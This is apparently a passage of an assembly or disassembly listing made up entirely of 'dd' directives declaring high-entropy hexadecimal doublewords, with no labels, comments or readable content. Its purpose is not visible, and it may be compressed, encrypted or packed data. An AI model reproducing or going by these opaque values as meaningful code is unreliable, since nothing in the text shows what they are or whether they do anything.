		dd 4C09481Eh, 81A88887h, 0C04A748h, 28345106h, 41048CD1h
		dd 564C6C62h, 8320E062h, 0CB56249h, 983931EEh, 3000691h
		dd 0CD646DE0h, 51B201Dh, 3F14F1A8h, 43C81FEAh, 89A09F58h
		dd 0E139803Ch, 84F4D939h, 0CBB2C0h, 91AF690Dh, 2BE3A1B7h
		dd 8FC81954h, 0F9816800h, 0A954AA92h, 519C1391h, 0AD270C4Ch
		dd 0D27BBC50h, 6904C8ACh, 6E184902h, 402F9062h,	12E50261h
		dd 95CB0CDAh, 2248AAB4h, 930D14B8h, 0B8DD470Ch,	0A53EC58h
		dd 0F498271Ah, 8DE105D4h, 0BAA84044h, 1C0CFFF0h, 9116FC9Bh
		dd 14F30709h, 5388A048h, 18700524h, 30CD057h, 0A38BD5C4h
		dd 0CA1BA112h, 38DF0460h, 0D0434DC7h, 0C160A58Fh, 9DFE3B1Bh
		dd 95A74484h, 981CDFECh, 6F42AF82h, 603441E3h, 931F4DBCh
		dd 63EC7300h, 0A6DBE907h, 1CA8FEE4h, 7EEEE523h,	0F457B114h
		dd 9423CCD0h, 48026801h, 89186618h, 1D60E488h, 85174F02h
		dd 86792E74h, 2F007927h, 0F8EE1E4Ch, 0F00E9F98h, 9BE61FC3h
		dd 0B8F9C22Ah, 64C91D3Fh, 7AA7184Dh, 0AB1B23DFh, 9700A811h
		dd 79EDDFA0h, 4703E266h, 64990227h, 64D0D4D0h, 80F52358h
		dd 0F341C91h, 0C80818F2h, 0DFA8C34Eh, 48B31BB1h, 9488AF34h
		dd 0BBDF00A1h, 546C6959h, 9613AD2Eh, 8008EA8Ch,	0BF23C24Fh
		dd 0A22E1040h, 72623A00h, 6DC3C10Eh, 0E0A948D4h, 84E9BC84h
		dd 0DCAC8144h, 271B009Eh, 18034148h, 9D3AC2C4h,	0DA2A04Fh
		dd 0E6C06CE9h, 0C8B020C8h, 0A41D5A07h, 77C2203Eh, 0D5C040D8h
		dd 8848919Dh, 0D3174BC8h, 52ADA00Eh, 9C0F8C70h,	0AE78CE1Ch
		dd 4E7BAA21h, 0F27C7238h, 6E3E3002h, 7A42701h, 0D7BC5FB0h
		dd 0DE0024h, 2382AD5Dh,	9E54EB01h, 6D376109h, 0D4FCB3ABh
		dd 0C25EDAC0h, 9C3D5C52h
		dd 0C828CAA5h, 3AE6C0DDh, 68B07941h, 285F321h, 8077507Ch
		dd 0F7400C46h, 0A70719D1h, 73DE188Ah, 0D6910584h, 0A8449593h
		dd 1C90D539h, 8C4A63h, 5EFB8BFDh, 96B8CEB9h, 7D26505h
		dd 6C8A8653h, 5B1A0802h, 0A86C876Ch, 0DBD8A750h, 23205CBAh
		dd 59972B8Bh, 0C75D1FD4h, 0A8F1BC0Fh, 40B83100h, 25649359h
		dd 5C38CEF8h, 177D0C97h, 145218C2h, 4BA8B071h, 82D02887h
		dd 92BF0440h, 0CAF7231Ch, 603F9Ch, 0B8AC360Bh, 13B02B76h
		dd 12295368h, 464430F4h, 1C4CA5BBh, 0FB80D994h,	0C0164C42h
		dd 80DEC328h, 9730501Bh, 9E4F297Dh, 5EA21CFEh, 0A0EB1858h
		dd 6418F181h, 3A30C214h, 962FFC6Eh, 80D4112Ch, 4C696242h
		dd 0DE448C4Eh, 624A0184h, 381B82A0h, 0C69FF553h, 7F1E4A1h
		dd 0C025C30Ch, 1B6410C5h, 0CC093E2h, 51300D97h,	3F608209h
		dd 9B1C107Eh, 0C80D80EEh, 0A8D4A001h, 7C3D6747h, 1FA2B420h
		dd 70C0439Dh, 0CC651F70h, 8228DB58h, 0E9E6F6D4h, 0CA186170h
		dd 919A1108h, 4E0EC4C5h, 9611605Fh, 7087A52h, 0A3AD6EF7h
		dd 7141297h, 69D0C68h, 0D3BACC0Fh, 75A8A0A6h, 98C3BD4Ah
		dd 8D832E88h, 0CB3844ACh, 1E3DDB8h, 0BDEC27D6h,	0C880F2DBh
		dd 9F4A72C2h, 987F2C28h, 0D01FF10Ah, 9A30E4FAh,	18C670AAh
		dd 20A5288Eh, 8C202719h, 2A4C90FCh, 0B4AC44h, 0A637BA05h
		dd 8BD76018h, 0F00CA091h, 994DD9E8h, 0D1F0284h,	0CD02EB53h
		dd 0CAF8525Fh, 0CEA865D8h, 91A61141h, 88081825h, 1107CE53h
		dd 943D80CAh, 8F8D22A0h, 14B34830h, 195F9880h, 7E6230Ch
		dd 1F184B09h, 9CD4A074h, 0B2D8649Fh, 3FD2022Ch,	8C0F2313h
		dd 30C634E8h, 92628803h, 6C0B6197h, 4CF878E8h, 2F9007EBh
		dd 904DBB77h, 6D07244h,	0D867426Ah, 4605317Ah, 0AD24CDEh
		dd 46662038h, 974A0CBCh, 16C2216Ch, 0BD7681Bh, 1400CDD7h
		dd 0C07829F5h, 91B2D0C6h, 87120FE9h, 0BBA35B11h, 74B8E9C9h
		dd 77168804h, 0AC040724h, 6D01D5E4h, 0DA6F62B1h, 0D31874EEh
		dd 3469635Fh, 0EC61760h, 8740391h, 810F86F3h, 82A3C21Ah
		dd 65E8930Ch, 511025Ch,	459D163h, 0D6946Ah, 7362483Bh
		dd 7824874Ah, 483AA8C9h, 3ED17F7Ch, 0FB054C6Fh,	8176FDAAh
		dd 8BE304E8h, 4A46A81h,	0FC821A18h, 804C0591h, 799B05F0h
		dd 0F315A0C4h, 6399E480h, 0DFA6CF5Eh, 5C90C747h, 64189788h
		dd 2C51E6B8h, 96A1C017h, 0BB9E4E9Ah, 3700777Eh,	685A5F9Dh
		dd 240DBFF5h, 0AE8700Bh, 0EECEFCEh, 0BBCFD149h,	736C4013h
		dd 3ED075F5h, 64CF9512h, 309D6CD2h, 3D12026Dh, 0A48B4E18h
		dd 265DF00h, 0CA86283Fh, 82408D7Dh, 401A4F97h, 74B843BCh
		dd 97D9A29h, 0AC485750h, 0DA79C499h, 490B1F18h,	1409DCh
		dd 41D65D91h, 0D49D2E22h, 4AF11158h, 8A23082Fh,	0BC8C901h
		dd 24604A3Ch, 0A8F1665Ah, 490D81C3h, 0E09DB097h, 0FF44D047h
		dd 2A1D0B42h, 0CE5084Ah, 7E60A7E4h, 9D14EC7Fh, 68307DB0h
		dd 3A113081h, 91CDBB18h, 280163D1h, 0F521FB44h,	83E00851h
		dd 9720C3E3h, 29019656h, 0CA670BA6h, 1C240A2Bh,	0E6380144h
		dd 29146F75h, 3712E4C8h, 56675B02h, 8339E25Ch, 68F12080h
		dd 11D849E1h, 624780D3h, 0B9464C6Ah, 4F81C0A0h,	0F2751362h
		dd 519D9713h, 0ECC1BC24h, 7401C453h, 71BD04Bh, 880E4026h
		dd 9CE0C005h, 0A64C7C83h, 0F4641031h, 0DC702DFh, 64A58C9Fh
		dd 4A0D364h, 0FE0C08h, 0B2E7F605h, 649C04A6h, 0C5D0F8C4h
		dd 181010ACh, 0C92D144Ch, 73955419h, 31DCA20Ch,	0CD03F850h
		dd 8187B200h, 0C09A54B9h, 587B0B3Dh, 0E096953Fh, 8F5F4812h
		dd 974D098h, 3BC9C5CCh,	0C4400C4Ah, 0ED09E03Dh,	13B9549Dh
		dd 0C9FEB844h, 5C2F1317h, 99A0C020h, 1779CB3h, 48C71B30h
		dd 7B43C323h, 0CC6304E8h, 0D27E4085h, 1C8257F4h, 0CCE049BFh
		dd 0F0FDF850h, 4D5BEC62h, 0DB23303Ah, 0E6FAE400h, 0B7CB04h
		dd 7960683Eh, 96DD670Dh, 0B427C4B8h, 248422E1h,	0C45CE77Ch
		dd 0A08A6001h, 0D9F502D1h, 28278261h, 98D55448h, 1B1FB8B1h
		dd 0AC801813h, 8993B496h, 8B68E023h, 790030F8h,	4BC8B050h
		dd 4FF8D7FCh, 0BECACD5h, 82CBA34Ah, 0BA16F08h, 0F5FB8C02h
		dd 16035100h, 3F0B13C0h, 0AE9802D5h, 3204A19Ch,	0A4D800D6h
		dd 585200D8h, 12B72F9Fh, 58D7D215h, 1C91D040h, 9ED0F954h
		dd 55B9E034h, 5E2C69A9h, 0BBA76CCEh, 3816B8B0h,	287CB0A1h
		dd 99A8F793h, 8E929634h, 0CF0EC87Ch, 0E04B286Bh, 51E503E4h
		dd 97D03A86h, 301A3A99h, 1EE8222Eh, 0CFC06EFDh,	609EAF54h
		dd 389C6097h, 5104A642h, 0BC2E2C91h, 0F01A04D6h, 0C041C851h
		dd 13B37C90h, 24A71505h, 0FC12F3CCh, 0DA234C3Ah, 0BAC1FC00h
		dd 157EE24h, 0F212C346h, 68AB548Dh, 0C49A1050h,	0BB446400h
		dd 302E09Fh, 1CB8C956h,	0C7166C91h, 0A20778D1h,	0EC521012h
		dd 79CFBA30h, 0F1718Dh,	0CBAF2955h, 406F4C72h, 1970A760h
		dd 0CAEA0C1Fh, 0CDCA3D0h, 1E39D0BBh, 0BED92C04h, 3881C77Dh
		dd 0A6E6874Bh, 2078C284h, 90C4F357h, 7309EF84h,	0B2BC6885h
		dd 308FE254h, 0B70E2CB6h, 2A64F35Ah, 0F56064EDh, 58A5066Ch
		dd 0DD182CA7h, 507BB09Bh, 3C917FEEh, 0D2069D06h, 7C9713B1h
		dd 4D4022AEh, 92960849h, 50606228h, 239F11C9h, 711DD91h
		dd 11D15C00h, 0DB4F6A37h, 0EA0DFD1Dh, 94922F57h, 0A87C43A0h
		dd 0BA193Ah, 0E7F3C9FFh, 288E51E9h, 0FC0F6326h,	66431400h
		dd 485B73E8h, 0E4A7C8D7h, 0BFF493D2h, 0DF5792B8h, 0D50744B6h
		dd 50A5A863h, 0CDE1A080h, 5BF7E43h, 0D9647BCh, 66A4F1BDh
		dd 6756E000h, 9C3750BCh, 41D49E4Bh, 0CE0A064h, 0EC7C506Ch
		dd 0FB700969h, 388983F6h, 0CB489082h, 0A8504CD2h, 0DB34D5BCh
		dd 60819052h, 7200EFAFh, 10248F4Ah, 2F9D3C7Ch, 3048F651h
		dd 81481826h, 8CC9FD74h, 0A28C6362h, 1F6B30E0h,	24A1DD04h
		dd 0C4C3083Ch, 448EFF41h, 98D22D50h, 1F2452B1h,	4096221Eh
		dd 0D1B5773Ah, 600122Bh, 0BF7E49F2h, 78071508h,	0B1C9055h
		dd 0D0FB62B0h, 0E696A001h, 6CC8A611h, 0C5250210h, 8F11641Dh
		dd 371A7480h, 986AB33Ah, 0F2049419h, 0CDC1DF9Dh, 0C024BBE4h
		dd 26C8BC50h, 4AC10104h, 245424A6h, 617BB0E0h, 9F4BE109h
		dd 97E4C01Fh, 0B1889419h, 41ABBC18h, 92482C20h,	64202B58h
		dd 78DF25h, 5CA055BFh, 0F026B4EAh, 0A601AB7Ah, 1B192BAFh
		dd 0D2CE140Fh, 68276BF4h, 8544B847h, 77885860h,	1AF58F0Eh
		dd 324AA028h, 0B0A90452h, 932E0046h, 3B9CEA12h,	60121BD1h
		dd 0F449A3CBh, 2F40829Dh, 2050C495h, 0A498CCA7h, 48D0D124h
		dd 88604912h, 23CBDF9Bh, 0A4118B1Bh, 4949312h, 0F1E5C8B9h
		dd 4C2E2A30h, 7C03AE23h, 0F356D14Ch, 277DD1F1h,	61AC6820h
		dd 1A3E50BFh, 0A4A5DECAh, 0C5BCF05Ch, 50D86E52h, 1F843428h
		dd 2AB6148Eh, 0F64E12D8h, 19B0B438h, 9BB30715h,	0EFFC00A8h
		dd 0BFE0C6Bh, 0CB9702B8h, 0EE1F0851h, 2D27CC50h, 0DCCC399Bh
		dd 62104806h, 8062D653h, 0A20E1120h, 40F47187h,	13E6A774h
		dd 0D8224499h, 64818E10h, 611204Eh, 0C5809FECh,	4935BC62h
		dd 0B097754Ch, 0BC929528h, 0E0C4A865h, 821E9460h, 3F858FAh
		dd 9C20514Bh, 2BEEFFBh,	491F042h, 0C8D0D3D7h, 3CB4FF0Ah
		dd 9813BCDCh, 641BFCC7h, 1BE4A130h, 0C32110E0h,	82439FC9h
		dd 1FD2A802h, 0C0F27D50h, 64B94CC4h, 0C122F8D3h, 9DDFE8h
		dd 0F3486217h, 964B1FF8h
		dd 0A2293020h, 9FF0133Ah, 40AD1278h, 11F0AC8Fh,	12B1F608h
		dd 60381A27h, 83D6D7F8h, 9A2E0788h, 9709E9B0h, 83F4F01Ch
		dd 0A0C662A8h, 0F5255717h, 9F6434h, 18409BE9h, 6D4585Fh
		dd 3CA19CACh, 7D343464h, 80B9CD69h, 98331E4Ch, 0C9EDB20Eh
		dd 7C44A120h, 0B0F73834h, 2890A284h, 31BEF6A8h,	2C7A1067h
		dd 848C2D9Ah, 0C04082A0h, 0F1D11E53h, 89555C90h, 22282CB0h
		dd 1F2E30DBh, 3482BF59h, 78BEE332h, 2E8569Ch, 0A92FB19Bh
		dd 3061C842h, 41198584h, 0D4A09067h, 509D16A2h,	916CC0B8h
		dd 21868B0Ch, 152FF769h, 81109120h, 0D01D0BC5h,	0B8049851h
		dd 6B686DE8h, 380460DCh, 0F1FF410Ah, 4E709652h,	6C2900CCh
		dd 804C6B8Bh, 1C00EECFh, 0BC77C491h, 87824Fh, 0B25AE6A9h
		dd 215BD514h, 0B0AC3Eh,	8F458160h, 664DA805h, 21B60897h
		dd 608A0D09h, 0CC1500B8h, 7CF3DC54h, 0D3F20087h, 0B619CF18h
		dd 0C80EF9F8h, 46B12175h, 3C100426h, 0B9807360h, 432F250Ah
		dd 18DCD296h, 0A015A6C3h, 5F2CE007h, 0AB8705CCh, 20B15AEBh
		dd 8460834Ch, 11974523h, 8B1000B5h, 80C2AB60h, 0DF2002EEh
		dd 0B04D76D3h, 0D0823883h, 38538928h, 0C90FA17Ah, 677DB8FEh
		dd 88AF0Ah, 1FEEFF64h, 69005446h, 7250E603h, 7358356Eh
		dd 4BB3063Ch, 38D2731Eh, 5114B171h, 1074F542h, 141AA45Dh
		dd 0A680A1D3h, 6211EB2Dh, 5331C10Eh, 94F80ADBh,	57688386h
		dd 3BD00128h, 0D1F0E7BCh, 0DAD4FC9Dh, 4608E566h, 0B4980021h
		dd 0A284E2E7h, 0F514820Bh, 5C068F2h, 5C533D32h,	0C07A2C48h
		dd 0D1FBE7B7h, 4822B546h, 0E7AF9D00h, 0CEC360CCh, 0E6BE1BC5h
		dd 2FC0E0BBh, 5C38788Dh, 0EC8B8613h, 0CD9C831h,	0B3C71E45h
		dd 0E52A1C28h, 0F001904Dh, 0AA642CD9h, 99DB2519h, 7A00F3CAh
		dd 0E700356Ah, 0CFB3323Eh, 0C5BC26C9h, 2027EC40h, 8C2A1598h
		dd 10D27924h, 0A8CDF90Ah, 0C040C591h, 0ADB70036h, 6B6D07E0h
		dd 0D1010A6Eh, 28852CFEh, 0A5CC40DAh, 0A6CD0AF6h, 3F8B399h
		dd 222E19A7h, 0C38B8801h, 1D2886E1h, 0A4015C54h, 564EBB2Ch
		dd 0A2798C50h, 0FFEC0F13h, 4BEC451Ch, 5091E6B8h, 1F18B679h
		dd 6A0028B8h, 675DE274h, 0C6AE26EDh, 714F6550h,	8322F800h
		dd 45B6E546h, 0EB110140h, 0BB269EFFh, 0C9444B0h, 61B142A0h
		dd 7CA6D118h, 3D48E6E1h, 0CE2876D4h, 6165F898h,	1C88594Dh
		dd 46C6E0F9h, 17686600h, 34B5EE7Bh, 7C0C155Fh, 0CC91E0C0h
		dd 0CB456A81h, 87A8BA49h, 84C76DD6h, 0F7FC01C9h, 608020F2h
		dd 938B015Bh, 0B2F26A7Bh, 68A2570Eh, 21FE8CB4h,	938300E4h
		dd 30727FE8h, 1B004F35h, 8C363DF6h, 61F31EABh, 0EF6870DBh
		dd 67DC42EEh, 47657721h, 0B95AC983h, 6D80A75Bh,	3F0079EAh
		dd 97BFD4FDh, 0F927EEh,	0F6FE2C4Eh, 373DCA8Ah, 1834B149h
		dd 9B9A229h, 0F492BEh, 0D782E85h, 7EA55948h, 5A0164EAh
		dd 0D56BF525h, 0A4524156h, 1088B381h, 0C0F301F8h, 6A81938Dh
		dd 22B44390h, 85E60AF5h, 11DCB593h, 0DB02703Eh,	0D3FBEC16h
		dd 81DC4134h, 0B66E5010h, 19A9A1C1h, 5824FD82h,	6464524Fh
		dd 9E11886Eh, 6A8293C2h, 10F93168h, 7937CE1h, 6154C808h
		dd 0F53DF7C0h, 0CEC5432h, 60E0A735h, 1B20BF74h,	66695898h
		dd 912C1D88h, 5E8803Eh,	12073A3h, 881F58F8h, 80B10B1Bh
		dd 48913EE9h, 1201F1B4h, 6D9BBDEh, 90D587F0h, 0C442BC90h
		dd 19EECE18h, 26F08CC1h, 10D66731h, 8AF8A1C2h, 0D0F72B68h
		dd 0F2FD8894h, 85938160h, 2270466Ah, 79E202F3h,	879CEA93h
		dd 0B20AFCB0h, 7EDAB1C0h, 46F173Fh, 0AC78643Dh,	2854C1BCh
		dd 325820B5h, 22CC7E48h, 0B08C51C9h, 0EC00CBE1h, 0B1EA76E3h
		dd 154D9605h, 0EC609037h, 0E9E3C1h, 0EF046878h,	0C0B5735Fh
		dd 0A91C4490h, 9C2C0239h, 7C713446h, 0CDAE7BD1h, 82287318h
		dd 0DB3D6AA8h, 49E48355h, 881E42D6h, 0C0F30210h, 6A80938Eh
		dd 0F6448C98h, 93860CE3h, 8AD8AF9Ch, 0F5D13C91h, 0EC2CAB18h
		dd 4B401C28h, 80C326C6h, 0ACA8BA0Ah, 0D8073E63h, 60369471h
		dd 0FCA23953h, 0DD69C580h, 0A2BF6C2h, 0B1C0A6CEh, 2C00A8ACh
		dd 4554D017h, 14AC0671h, 0BA1769BEh, 0E6006B23h, 4EEA6F33h
		dd 350D00A9h, 0C16746D7h, 6230CE45h, 0ABB740C2h, 0D11E2842h
		dd 0F0F33095h, 2667FFC1h, 18843D03h, 0E835428Fh, 1CA98C60h
		dd 0C39A21ECh, 0E8F1EE13h, 83158h, 1BAE7571h, 1651E9EBh
		dd 8829F09h, 0BF86CA9Ch, 0A3123D4h, 4FDF4568h, 1B5101D4h
		dd 0A6A635EDh, 0DE3429h, 7B2218DEh, 6901AB88h, 3ABAED10h
		dd 131E5004h, 210480DEh, 0D2F351BBh, 9956D201h,	113441D2h
		dd 188E49E1h, 0D3241FF2h, 0CED0C253h, 883F390Ch, 0A45C44DAh
		dd 2798056Ah, 6284C41Bh, 22F8F410h, 0C6A50814h,	0A105C1BEh
		dd 0E40427FDh, 3101B4E5h, 40CD9A1Bh, 0C561F2BCh, 3348482h
		dd 6F937F61h, 345805B1h, 77E088F8h, 0CA0E40B0h,	0A17E871Bh
		dd 0ECF225A1h, 2E248214h, 3EC69D20h, 970B9B6h, 149D8A5Dh
		dd 0A180F911h, 2A99EEB6h, 3B311A1Dh, 0E0B230EEh, 432F20C4h
		dd 8B80FDFEh, 1F4D14CAh, 8F09C8ADh, 3E80C61Ch, 0BAB95EDBh
		dd 1082C0A2h, 0EF1002D7h, 4C7AE2C6h, 108488D1h,	858F0036h
		dd 4895FD9Ah, 0C180D8F2h, 0A2788B5Ch, 0AEB10C0Bh, 383002C2h
		dd 5EC20F06h, 10EACA2Dh, 60B33084h, 238E6081h, 0B911E745h
		dd 60891201h, 0D8E8F4CEh, 9C03F685h, 2D34BA48h,	0E96822DFh
		dd 91EEF330h, 66E6A4h, 330C9114h, 92E5B4BDh, 9651AD01h
		dd 7CBB154Bh, 58C2EC30h, 238440BFh, 0AA18185Bh,	0E8A080CBh
		dd 61D4BD01h, 0C91639B1h, 5EDCA840h, 9CA454B5h,	0A05106E1h
		dd 403306EDh, 0FAE7D006h, 4938037Ch, 0AC2E7CE4h, 0B7360A64h
		dd 1E4D82A8h, 14E030FAh, 26DEB907h, 20D4AB49h, 8BB79878h
		dd 8E20A7B0h, 0D0500131h, 4B423ACh, 848B6080h, 0C4AC62F5h
		dd 60880720h, 0D3F2007Ah, 0CF8E2F19h, 0B161B576h, 0BB1B29D8h
		dd 7F01074h, 4FED958Fh,	40CD36A5h, 8DD09204h, 0A4D0A709h
		dd 0C1BF6CCh, 370231B8h, 8CC1240h, 0E6A21C0h, 8D7D1BFEh
		dd 0C5A82260h, 0E30F725Ch, 0D2AE19D9h, 80E0C450h, 756EF70h
		dd 55F50780h, 0F27FE96Dh, 0F88272B6h, 8B040543h, 2E034C82h
		dd 26800E12h, 0A47C2CB0h, 0E4AC560Ah, 0A719E14Eh, 0E09E9EE5h
		dd 0F98F4068h, 53603847h, 1418F14Eh, 0DFD85A60h, 2F320290h
		dd 2C9BD176h, 0EC466FA2h, 26BC26E1h, 98E45C7Ch,	0B16ECC91h
		dd 11220F03h, 947C58D3h, 7AD59310h, 262008B0h, 65DC0022h
		dd 6B094BBCh, 5D4B5B4Dh, 0D15E604Fh, 3909EB3Ah,	609FAC1Ch
		dd 0CC81FE11h, 7006F25Ch, 61015DF8h, 4B313411h,	8889C882h
		dd 1048A050h, 567441C7h, 0B519A1C3h, 1D2A3BFh, 88FC6751h
		dd 98BE0ED9h, 0D21922A0h, 0A9F231E5h, 345565C0h, 5F02EDE4h
		dd 0ABA7B8C9h, 275C20Ch, 93782E8h, 0BC2AD882h, 2529E24h
		dd 0F9FB4AF8h, 0BF10BC11h, 0E0A11D20h, 52102460h, 0B7AD7E16h
		dd 290B304Ch, 4F1E13ABh, 6F6C21B4h, 7CCE0437h, 92C0BC88h
		dd 17359E19h, 6C9D937h,	0E14A66B4h, 0E4B5101Fh,	2BA95880h
		dd 0B3298Dh, 0A1036EB8h, 6A8AFFC9h, 0CCFB4D26h,	3404EF92h
		dd 2F02B4B8h, 50C93E1Bh, 11D437DCh, 0EA06E0D6h,	40527B4Dh
		dd 0D7793CA0h, 33BB8440h, 75897354h, 0A05186C2h, 70E7B2BFh
		dd 91A05195h, 0B3990E45h, 4A101E7h, 61C81637h, 0D64B182Fh
		dd 688A90CFh, 0B9C2ED30h
		dd 0BA01F1F5h, 0D1F4B1A8h, 389218F9h, 0A31F2035h, 0F4EA0Ah
		dd 36E6B85Dh, 0BB5A8A03h, 0C219AF09h, 9114A302h, 2F704BB5h
		dd 3AF52308h, 6BC21CFh,	3D62F0D8h, 0E85EE100h, 683586EAh
		dd 0D9C02CECh, 0BB0943F4h, 0BD1C3100h, 0A828A31Bh, 0EFF9006Bh
		dd 254F2BCAh, 6A0AE53Ch, 8C324AEDh, 143EDB96h, 81F98123h
		dd 0C0CAD30Eh, 1DC0C2C8h, 4A298C9h, 0C8E070F2h,	2170BA7h
		dd 0A1694B1Ch, 0F942194h, 441CC21h, 0EF10F1F2h,	22006398h
		dd 36099BA6h, 291F0B8h,	0F75AC544h, 28C0BC48h, 61285E32h
		dd 10D498BFh, 17C235Ch,	0D1F5E7B9h, 9B000EE5h, 13E9E7B1h
		dd 530A26A2h, 9831F5F4h, 1C022412h, 0CA097652h,	0A4B44370h
		dd 0C888CB53h, 78DFC043h, 75067472h, 0CCC9A635h, 45790F58h
		dd 0C0149B26h, 9050BC3Fh, 96D945A6h, 9C6089D8h,	10BC1BFAh
		dd 0C836E231h, 27680CDh, 0B42BCB1Ch, 0ADDD3500h, 95788605h
		dd 20CF4ABFh, 3B96EDE8h, 7991989Eh, 8304104Ch, 0B4112174h
		dd 141E6904h, 8A805CFDh, 6C6D1FABh, 0BF75142Ch,	4C4828D7h
		dd 944C2716h, 882CCE3Ch, 98F9C6F5h, 24A3E27Ah, 0D0EBA2C1h
		dd 0E1C0B909h, 5FD6A93Ch, 27AD0052h, 95BFBE20h,	99006708h
		dd 4E437A55h, 0C48BD8FDh, 0B4141940h, 0C20189E8h, 3368B21Fh
		dd 0AE13BB0Ah, 0D8809DB9h, 7300BD4Ch, 0BC154E8Ah, 0F30D680Ch
		dd 0D4C01828h, 21F27C30h, 0EC2C1700h, 39D9C159h, 16ED5B66h
		dd 0AF58D21Ch, 3F608530h, 2CDE4582h, 8D010E0Ch,	0C89E4160h
		dd 75C4A5B9h, 0A38C0B22h, 0A840CEC6h, 0CF2494C2h, 5005945Dh
		dd 6C8B65F6h, 203B9A21h, 0D4664432h, 0C5196E11h, 285AFA1Ah
		dd 0FE70ACDBh, 350203D4h, 676DDF4Ch, 39460BA9h,	9F2827E0h
		dd 80FE11FCh, 0EA9B6CBCh, 0B2E0F9E5h, 0D10406E7h, 0E8CEC249h
		dd 7046DB1Ch, 1AA27907h, 588140B4h, 78688A5Ch, 48CF3BCh
		dd 65D84799h, 48D49059h, 6CE55488h, 90352234h, 1B4C5Ch
		dd 700FD725h, 15BC9133h, 80AFE52Eh, 2A8731DCh, 0EA73807Fh
		dd 9BC10096h, 0D968100Ah, 5130BB61h, 64DA693Ah,	73FC05FAh
		dd 56FF1195h, 3C8488C8h, 0C026FB0h, 2825E285h, 0D1A74026h
		dd 0AC5B508Dh, 356A177Ch, 57F4883Ah, 2860CA41h,	4F5B7555h
		dd 96BC0140h, 28C96A4Dh, 0BF161104h, 90102C2Fh,	0DD4052D6h
		dd 0F064B0A6h, 36B98B24h, 5C2980CFh, 6C2CF174h,	224CB086h
		dd 501241BEh, 0A853CAA5h, 0F286FC04h, 0FF642200h, 9CB89D7Fh
		dd 0C4D4635Ch, 0E25ED0F2h, 62433109h, 0EF4CC9F8h, 86808214h
		dd 101BF930h, 0E0EA31BFh, 1C0175h, 0FA52DDE7h, 0CC27244Ch
		dd 4F371701h, 0F7933270h, 6011B1D8h, 825DD9C6h,	0DA017F9Ch
		dd 0CF9BB5EBh, 64237A29h, 0C7F2FE10h, 6AD29382h, 10F73178h
		dd 13937ADFh, 2A47B91h,	6731220Ah, 0DB000CF2h, 0CB5772B0h
		dd 76F80E87h, 46B018Fh,	0A4EF9E84h, 4DEBECA5h, 38F60924h
		dd 501FCB11h, 2646C25Ch, 0D4B1C9DFh, 8611521h, 19804C65h
		dd 5F60FDF0h, 1107645Ch, 51225AA7h, 0A00FBD70h,	4262890h
		dd 6E3C0BB0h, 0A4319E85h, 0BBA1879h, 0ADD1F6E7h, 9A48701Ch
		dd 0E9A100D6h, 0D2167C22h, 0C8312C56h, 0BF37BD9Ch, 2B86F0C9h
		dd 1C1AE95Eh, 59B14645h, 18B57944h, 0FDC202A4h,	0F2DB252Bh
		dd 0F0E6CD2h, 201376BFh, 0D31FB178h, 4B7D0291h,	0D5F1065Ch
		dd 115DC449h, 5049372Dh, 44A22063h, 3CF59E30h, 3BBDF63Ch
		dd 24E007Dh, 5B782F10h,	0BC24A573h, 4676640Ah, 0D9300C2h
		dd 0CEDDBE50h, 2D54EACBh, 0C00B5306h, 9A2F5446h, 0BFFC21D9h
		dd 0C110E9DCh, 464951A9h, 897A04C8h, 0B891CE2Ch, 0C2CA4Bh
		dd 8BCF12DAh, 92C38D00h, 0AC8863D3h, 72A6EAF0h,	89C0CA81h
		dd 2FC300D4h, 0BD6EAD7Fh, 94691892h, 0C5C509B1h, 60BBC4D4h
		dd 1419B1Bh, 0E0271037h, 80C7147Fh, 6867B621h, 0B9DD9A1h
		dd 4FFA7A3Eh, 0BB373CE4h, 85842946h, 37C1D8C1h,	4F8B0007h
		dd 8148F6D1h, 44D71334h, 24F25400h, 4E04D8h, 56279812h
		dd 4335F15Bh, 0E0F1F8AAh, 27C0D600h, 71EA0Bh, 0C2D3AEFAh
		dd 0B85F2F7Bh, 19026778h, 0D9CF62D2h, 0B054D89Fh, 4866255Ch
		dd 19A0ACA6h, 54BB1F09h, 7B20A5C2h, 25DD5C80h, 0BC30FF7Eh
		dd 3CC441B6h, 5A40280h,	4D4D07Fh, 481409B0h, 0E894ABACh
		dd 8A340453h, 809BFA88h, 0F9C816A4h, 0BF300C00h, 0EDF12557h
		dd 53A04A4Fh, 0EF0047B0h, 88CAC6h, 0A6D159FCh, 844FB03Eh
		dd 8C79CC3Ah, 7DABDF09h, 0C40404D5h, 11EC1E17h,	0D37A05B4h
		dd 84F0C6CEh, 8FBB01B7h, 0D2EDA565h, 0E61C64A7h, 1164EA5Ch
		dd 951CC992h, 688C00C1h, 250315ECh, 0A6D2C8C2h,	3D60E805h
		dd 432B003Bh, 3560C8F7h, 0DB0CF87Fh, 20A8715Eh,	47E405ACh
		dd 381877B1h, 18E5C020h, 0ED6E10D3h, 4ABB17B3h,	3FDA0820h
		dd 0F2353AD2h, 8C8C94D0h, 0B91BFB02h, 1936FA31h, 36710C6h
		dd 0F750001Ch, 9661D4CAh, 0CF4B3916h, 0D1BF7821h, 8CB325D2h
		dd 0DC033148h, 0C4F7E70Ch, 7447AF7Eh, 0B085A1C4h, 0ADD63404h
		dd 0ACD1ECF5h, 708BE311h, 7E0B2F34h, 0A144A6D5h, 5FE5A500h
		dd 0FD04420h, 0CEF02722h, 80E02C56h, 467C3896h,	4BD3DC1h
		dd 0CCAC3EFEh, 0DE4648C1h, 0C0FC98A6h, 0B71E024Dh, 0A58F50Dh
		dd 0AC0E71DCh, 30C0C088h, 491EEB3h, 2922B259h, 14A08128h
		dd 5AE43001h, 0F8A86E75h, 0CE49BF7Ch, 0C35B0204h, 0EC9AAEE2h
		dd 52652AF0h, 0DD4D3DF8h, 83DBC79Eh, 0E7F2013Eh, 5D6F3900h
		dd 3F542581h, 5082FC4Ah, 0BA71C0D7h, 0D00A4A14h, 7B7819D8h
		dd 0CE8DE500h, 0FD9152FEh, 50B075FAh, 8A40CC84h, 0EBF678C0h
		dd 14A71880h, 540AC7D9h, 0BF8C2104h, 0A2B0B4DAh, 4D281600h
		dd 0D9E82E88h, 0C2EB0211h, 49BBB17Ah, 260045Eh,	90BD0BEDh
		dd 0BEBF70ACh, 5A0D4274h, 5FD9F200h, 0B4425C9Fh, 0A82210h
		dd 0C38A8032h, 9C08929h, 0F2CD920Ah, 0DAEBD068h, 5A68B900h
		dd 0C3D6C4E4h, 1A801EEEh, 0D3E70257h, 5AC02746h, 3F253D68h
		dd 7E68C9ACh, 0A74DCA10h, 0C9194162h, 0F9572075h, 5594488h
		dd 31D485C4h, 0E8A980C4h, 0B70A880Ah, 0E86B8F8Ch, 0E51182C3h
